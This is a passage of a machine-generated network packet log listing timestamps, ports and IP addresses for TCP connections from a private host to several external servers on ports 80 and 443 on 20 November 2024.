Nov 20, 2024 16:51:10.092247963 CET	49787	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:51:10.092259884 CET	49790	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:51:10.092267036 CET	443	49787	172.64.41.3	192.168.2.9
Nov 20, 2024 16:51:10.092288971 CET	443	49790	172.64.41.3	192.168.2.9
Nov 20, 2024 16:51:10.092289925 CET	49789	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:51:10.092309952 CET	443	49789	172.64.41.3	192.168.2.9
Nov 20, 2024 16:51:10.092629910 CET	49836	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:10.092686892 CET	443	49836	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:10.092869043 CET	49836	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:10.093041897 CET	49836	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:10.093075991 CET	443	49836	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:10.177282095 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.177386999 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.177443027 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.177881002 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.177993059 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.178198099 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.178261995 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.178296089 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.178422928 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.179382086 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.179440022 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.179492950 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.179539919 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.180562973 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.180614948 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.180761099 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.181008101 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.181777000 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.181859970 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.181874990 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.182007074 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.182946920 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.183027029 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.183283091 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.183343887 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.184314966 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.184442997 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.184562922 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.184770107 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.185328007 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.185424089 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.185442924 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.185478926 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.186660051 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.186804056 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.186836004 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.186985016 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.187655926 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.187930107 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.188148975 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.188203096 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.188889980 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.188991070 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.189059019 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.189059019 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.190112114 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.190187931 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.190386057 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.190486908 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.191323042 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.191400051 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.191418886 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.191452026 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.192482948 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.192596912 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.192699909 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.192764997 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.193665981 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.193727016 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.193799973 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.193867922 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.194989920 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.195051908 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.195138931 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.195189953 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.196039915 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.196108103 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.196563959 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.196908951 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.197264910 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.197387934 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.197561026 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.197704077 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.198498964 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.198549032 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.198594093 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.198714972 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.199614048 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.199755907 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.199887037 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.199887037 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.200845003 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.200927019 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.201000929 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.202095032 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.202263117 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.202302933 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.202482939 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.203260899 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.203334093 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.203536034 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.203622103 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.204467058 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.204520941 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.205058098 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.205178976 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.205770969 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.205790997 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.206033945 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.206034899 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.206825972 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:10.206867933 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:10.227018118 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:10.227070093 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:10.411640882 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:10.411942959 CET	49837	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:10.531167984 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:10.531625032 CET	80	49837	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:10.531805992 CET	49837	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:10.532023907 CET	49837	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:10.651736975 CET	80	49837	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:11.412739038 CET	443	49836	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:11.413077116 CET	49836	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:11.413105011 CET	443	49836	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:11.414159060 CET	443	49836	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:11.414236069 CET	49836	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:11.414648056 CET	49836	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:11.414705992 CET	443	49836	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:11.414840937 CET	49836	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:11.459327936 CET	443	49836	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:11.463340998 CET	49836	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:11.463356018 CET	443	49836	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:11.510524035 CET	49836	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:11.870472908 CET	443	49836	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:11.870498896 CET	443	49836	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:11.870554924 CET	49836	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:11.870575905 CET	443	49836	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:11.870620012 CET	49836	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:11.873231888 CET	49836	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:11.873260975 CET	443	49836	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:11.880719900 CET	49838	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:11.880755901 CET	443	49838	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:11.881238937 CET	49838	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:11.881495953 CET	49838	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:11.881510973 CET	443	49838	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:12.468153954 CET	80	49837	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:12.469012976 CET	49837	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:13.144134998 CET	443	49838	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:13.163255930 CET	49838	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:13.163279057 CET	443	49838	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:13.163726091 CET	443	49838	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:13.167700052 CET	49838	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:13.167807102 CET	443	49838	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:13.168047905 CET	49838	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:13.211354017 CET	443	49838	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:13.602458000 CET	443	49838	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:13.602483034 CET	443	49838	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:13.602559090 CET	443	49838	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:13.602593899 CET	49838	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:13.602634907 CET	49838	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:13.749655962 CET	49838	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:13.749692917 CET	443	49838	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:13.757956028 CET	49839	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:13.757991076 CET	443	49839	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:13.758292913 CET	49839	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:13.758325100 CET	49839	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:13.758328915 CET	443	49839	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:15.023792028 CET	443	49839	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:15.024104118 CET	49839	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:15.024115086 CET	443	49839	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:15.024450064 CET	443	49839	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:15.024872065 CET	49839	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:15.024943113 CET	443	49839	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:15.025173903 CET	49839	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:15.071322918 CET	443	49839	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:15.483336926 CET	443	49839	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:15.483361006 CET	443	49839	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:15.483417034 CET	49839	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:15.483429909 CET	443	49839	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:15.483443975 CET	443	49839	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:15.483515978 CET	49839	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:15.488441944 CET	49839	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:15.488456964 CET	443	49839	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:15.493712902 CET	49840	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:15.493746042 CET	443	49840	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:15.493885040 CET	49840	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:15.494088888 CET	49840	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:15.494106054 CET	443	49840	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:16.454389095 CET	49837	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:16.456687927 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:16.775763035 CET	443	49840	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:16.776089907 CET	49840	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:16.776119947 CET	443	49840	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:16.776473999 CET	443	49840	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:16.777089119 CET	49840	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:16.777159929 CET	443	49840	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:16.777440071 CET	49840	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:16.823333025 CET	443	49840	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:16.841331959 CET	443	49800	184.28.190.187	192.168.2.9
Nov 20, 2024 16:51:16.841406107 CET	443	49800	184.28.190.187	192.168.2.9
Nov 20, 2024 16:51:16.841449976 CET	49800	443	192.168.2.9	184.28.190.187
Nov 20, 2024 16:51:17.233145952 CET	443	49840	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:17.233170986 CET	443	49840	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:17.233242035 CET	49840	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:17.233257055 CET	443	49840	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:17.233300924 CET	49840	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:17.235797882 CET	49840	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:17.235812902 CET	443	49840	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:17.241281986 CET	49800	443	192.168.2.9	184.28.190.187
Nov 20, 2024 16:51:17.241314888 CET	443	49800	184.28.190.187	192.168.2.9
Nov 20, 2024 16:51:17.241580963 CET	49841	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:17.241626978 CET	443	49841	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:17.241687059 CET	49841	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:17.241915941 CET	49841	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:17.241935968 CET	443	49841	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:17.309986115 CET	443	49801	184.28.190.187	192.168.2.9
Nov 20, 2024 16:51:17.310132027 CET	443	49801	184.28.190.187	192.168.2.9
Nov 20, 2024 16:51:17.310246944 CET	49801	443	192.168.2.9	184.28.190.187
Nov 20, 2024 16:51:18.506505966 CET	443	49841	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:18.506823063 CET	49841	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:18.506839037 CET	443	49841	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:18.507225037 CET	443	49841	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:18.508619070 CET	49841	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:18.508619070 CET	49841	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:18.508641005 CET	443	49841	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:18.508701086 CET	443	49841	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:18.556211948 CET	49841	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:18.954768896 CET	443	49841	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:18.954798937 CET	443	49841	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:18.954878092 CET	443	49841	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:18.954921007 CET	49841	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:18.955085993 CET	49841	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:19.005399942 CET	49841	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:19.005428076 CET	443	49841	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:20.035305977 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:20.035367012 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:20.035569906 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:20.036595106 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:20.036606073 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:21.051613092 CET	443	49821	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:21.051704884 CET	443	49821	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:21.051769018 CET	49821	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:21.105324984 CET	443	49822	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:21.105407000 CET	443	49822	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:21.105463982 CET	49822	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:21.817239046 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:21.817328930 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:21.819082975 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:21.819093943 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:21.819379091 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:21.829158068 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:21.875332117 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:22.473747015 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:22.473769903 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:22.473803043 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:22.473845005 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:22.473870993 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:22.473886967 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:22.473918915 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:22.511164904 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:22.511240005 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:22.511241913 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:22.511260033 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:22.511271000 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:22.511296988 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:22.511326075 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:22.511370897 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:22.511387110 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:22.511396885 CET	49842	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:51:22.511403084 CET	443	49842	20.12.23.50	192.168.2.9
Nov 20, 2024 16:51:37.321412086 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:37.321460009 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:37.321547985 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:37.321887970 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:37.321899891 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.185775995 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.185893059 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:39.187524080 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:39.187534094 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.187936068 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.197242022 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:39.239330053 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.693383932 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.693422079 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.693444014 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.693476915 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:39.693505049 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.693519115 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:39.693550110 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:39.885945082 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.886038065 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.886132002 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:39.886132002 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:39.886149883 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.886193037 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:39.929774046 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.929825068 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.929953098 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:39.929953098 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:39.929959059 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:39.930006027 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.073816061 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.073884964 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.073961020 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.073987961 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.073999882 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.074033976 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.106337070 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.106391907 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.106440067 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.106450081 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.106472969 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.106498003 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.127214909 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.127254963 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.127392054 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.127403021 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.127410889 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.127445936 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.145463943 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.145514011 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.145591974 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.145602942 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.145667076 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.149631977 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.280296087 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.280371904 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.280386925 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.280415058 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.280462980 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.280479908 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.296452045 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.296511889 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.296536922 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.296545029 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.296575069 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.296593904 CET	49843	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:40.312675953 CET	443	49843	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:40.312721014 CET	443	49843	13.107.246.63	192.168.2.9
